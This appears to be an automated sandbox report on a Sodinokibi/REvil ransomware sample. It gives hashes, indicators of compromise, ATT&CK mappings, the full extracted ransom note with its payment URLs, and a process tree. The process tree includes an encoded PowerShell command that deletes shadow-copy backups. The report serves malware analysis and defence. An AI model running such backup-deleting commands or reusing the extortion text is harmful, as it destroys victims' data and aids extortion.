sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

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28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
145s
max time network
158s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
02-03-2024 17:01

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

acbd7cf1df4ef4e2c4812747cd443e66
SHA1

9e386231a88ffafb3597fddfa909289febf105df
SHA256

218ad6e33041a0bdb60c8de03e7dcdf42e5392e106a4b5b0436cdaa02a8dd2c9
SHA512

8f116add8d2108ad314221bb4fb77308884c849d8f614f140ca7d989e481b4024afa37a768d20257296c0a6715ca8bb1341081eb896a6045617ea4e403b676f5
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3Q3VMg7UEgZp6:NJ0BXScFyfC3Hd4yg3V5K

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\kjl4s-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension kjl4s. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/BA739D74DDE04C8E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/BA739D74DDE04C8E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: HrBgCYTKO3WXq57Dan6zQWIg3GEcIWQiEURvKmsWWO0VSqrIjYupEw6+U8Na/U5s MUJdhLl6EW1kL9hm0qRlR6bZ90zTYtfIwugepX1PSooAjuZWZIO7gwSVIgKJeZlA RWTMLHn9NdcwkjKNaPLQWBAL8JIA9FsSiEuj8fVqCvkOZmzT8tg6mXoCWjYICOa8 t3OOWkrZcQKUKES7rU1rPzK9VAowWNHjk0YpTnqjllm/stuUST8s1eX6lrm9GHq4 P/N+r0YFitkYjEA14wQduwzA50KvSmGmcmThYXHF+IYRLxdBePkZSA1q1m1u14Qo XKCq64vudYlvzJZ4HJQcxHw+sRt8WzmKo+xZGnb7Sq+GYkQqzLqiHf0FFs4SdDU1 6gyb/1MZDhatQP2Rexe8se99d++Pud+M28o78+kp/sjYeGDrAAPd9qrwnNShZtrh 9+lTNfMfeGmkuWxmJ0KRkQg8zwiYjlP/lBeIGHKfLtNNk0+LN6OuuSA0ECamn42Q dkPnbDtSKdT2j36UOnp2Dvx57PQryyRK1HI7h2v1/HSnrEAJrcQZ51wR0+wXFMCc eKLvbuMTLq8VOKyIGJyoAFeEznf61LxVmdlx/SSt+0sCGMGmiMgX8y5RLgogrbZo Nrto0ZwPOk1ZJ9Uak3M2HJ0cDEo4rquTrBEjob89xLsiax2LPaJQP9gqdDqGeGnH T9hIhyVQW0i4rXtyBw/RCItvJh+svnXcUrj5S1BjDw0hkhjIQxxF3c7IFyarxvCZ EEwN/IjBl9BY30WemJ9c4ySkyA3DcGP2INYJgtvqsu7PHGBcxSZw8cNtDaJIS+k7 Rt+9ydYJ/8COjOw8nhsa0OfpRPLfwlZt+w4MrtGlQSq2IwogiLgVF1SnjnPZb7s+ UJPf+RHB19vD6XvvJXocArzsdrsgwF7LLrRyelEZJUn4IwQF8t86Q/mAYkoMrfqD CL6Q3vEoLt/zqOsSI4ddZ2gJNRZvBlS9UnaWdR1ia/QJafOUSIX+Au6IcGs37+Ri K+UE/EUqT8/tzmFycfDlNi/jrwp6X9oG2sqwKklYWzjKRGhoWlJdnvzCz3sVrfCO jV1/LF0VccsjkxtpZk48sHZUXLMqyDzPt2R3J4GYrrR1y30u2pNxP1/kNY6EHZZS WoZ12+sZRMpGfa4TMX8phvaY+XKghRmddOYg2RAnkaRoHc5uxtZZHXEjRxK61YMQ cXThDvAz+q3me6pHooQtlRHU9XKiqOi5jwvOxFoabK+anxZsDASiU/PPWvU58lmr 946HqSll+uP2pOjpOc8T1cFL9eg6tHNy9AwxDyL2/7kRUNO1tlodrG6teea0jFrL 0Oy9Bz0jWZ4u8pgcCdw+HaQfPq9BvRWVGEMreSiQ/nNKT4YE ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/BA739D74DDE04C8E

http://decryptor.cc/BA739D74DDE04C8E

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe

Drops file in Program Files directory 37 IoCs

Processes:

rundll32.exe

description	ioc	process
File created	\??\c:\program files\kjl4s-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\BlockGrant.pub	rundll32.exe
File opened for modification	\??\c:\program files\ClearUnpublish.doc	rundll32.exe
File opened for modification	\??\c:\program files\DismountUninstall.xls	rundll32.exe
File opened for modification	\??\c:\program files\ExitShow.temp	rundll32.exe
File opened for modification	\??\c:\program files\RegisterMount.bmp	rundll32.exe
File opened for modification	\??\c:\program files\CheckpointExpand.midi	rundll32.exe
File opened for modification	\??\c:\program files\DebugUnpublish.css	rundll32.exe
File opened for modification	\??\c:\program files\ProtectConnect.odt	rundll32.exe
File opened for modification	\??\c:\program files\DismountSuspend.mpe	rundll32.exe
File opened for modification	\??\c:\program files\GetUnprotect.txt	rundll32.exe
File opened for modification	\??\c:\program files\InstallBackup.pdf	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveResize.ttc	rundll32.exe
File opened for modification	\??\c:\program files\ResetInstall.vstx	rundll32.exe
File opened for modification	\??\c:\program files\SuspendResolve.m4v	rundll32.exe
File opened for modification	\??\c:\program files\BlockMove.vsw	rundll32.exe
File opened for modification	\??\c:\program files\ExportDisconnect.mp4	rundll32.exe
File opened for modification	\??\c:\program files\GrantUninstall.ppsx	rundll32.exe
File opened for modification	\??\c:\program files\ResetSwitch.potm	rundll32.exe
File opened for modification	\??\c:\program files\StartShow.mp3	rundll32.exe
File opened for modification	\??\c:\program files\SubmitSave.vst	rundll32.exe
File opened for modification	\??\c:\program files\UnprotectMeasure.vsx	rundll32.exe
File opened for modification	\??\c:\program files\EditConvertTo.asf	rundll32.exe
File opened for modification	\??\c:\program files\ExportApprove.mht	rundll32.exe
File opened for modification	\??\c:\program files\RemoveDisable.emf	rundll32.exe
File created	\??\c:\program files (x86)\kjl4s-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CheckpointMeasure.mp4	rundll32.exe
File opened for modification	\??\c:\program files\NewRepair.AAC	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveSend.wmf	rundll32.exe
File opened for modification	\??\c:\program files\TestRestore.dwg	rundll32.exe
File opened for modification	\??\c:\program files\FormatStep.001	rundll32.exe
File opened for modification	\??\c:\program files\InstallDeny.wmf	rundll32.exe
File opened for modification	\??\c:\program files\InvokeInstall.MTS	rundll32.exe
File opened for modification	\??\c:\program files\SkipPop.mov	rundll32.exe
File opened for modification	\??\c:\program files\TestHide.pub	rundll32.exe
File opened for modification	\??\c:\program files\ResolveSend.wmx	rundll32.exe
File opened for modification	\??\c:\program files\WaitSync.au	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

3656 rundll32.exe
3656 rundll32.exe
1856 powershell.exe
1856 powershell.exe

pid	process
3656	rundll32.exe
3656	rundll32.exe
1856	powershell.exe
1856	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	3656	rundll32.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeBackupPrivilege	3220	vssvc.exe
Token: SeRestorePrivilege	3220	vssvc.exe
Token: SeAuditPrivilege	3220	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 4592 wrote to memory of 3656	4592	rundll32.exe	rundll32.exe
PID 4592 wrote to memory of 3656	4592	rundll32.exe	rundll32.exe
PID 4592 wrote to memory of 3656	4592	rundll32.exe	rundll32.exe
PID 3656 wrote to memory of 1856	3656	rundll32.exe	powershell.exe
PID 3656 wrote to memory of 1856	3656	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4592

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1856

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1500

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3220

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a4osj45m.esq.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\kjl4s-readme.txt
Filesize
6KB

MD5
0bd9113e7bfb68023700bba37edb3a75

SHA1
970fce98a548a8d0b0be2fba7e81e847b3cbfc1b

SHA256
ff37f7721e12c748ae983ec40904baeb30a3bfd8b8ffc8b0108da23f35411f91

SHA512
ea05d7fb70198c9d51e1e9704bf446db2437a91a01ef66b08994edd0b3483c49ea66cd19ad86b65b991ad5c2cb216ec036c1284fb3536f831e8ec5f0b7bc6f8c

Download Submit
memory/1856-5-0x00000150E77E0000-0x00000150E7802000-memory.dmp

Filesize
136KB

Download
memory/1856-9-0x00007FFC3AD70000-0x00007FFC3B832000-memory.dmp

Filesize
10.8MB

Download
memory/1856-10-0x00000150E7810000-0x00000150E7820000-memory.dmp

Filesize
64KB

Download
memory/1856-11-0x00000150E7810000-0x00000150E7820000-memory.dmp

Filesize
64KB

Download
memory/1856-14-0x00007FFC3AD70000-0x00007FFC3B832000-memory.dmp

Filesize
10.8MB

Download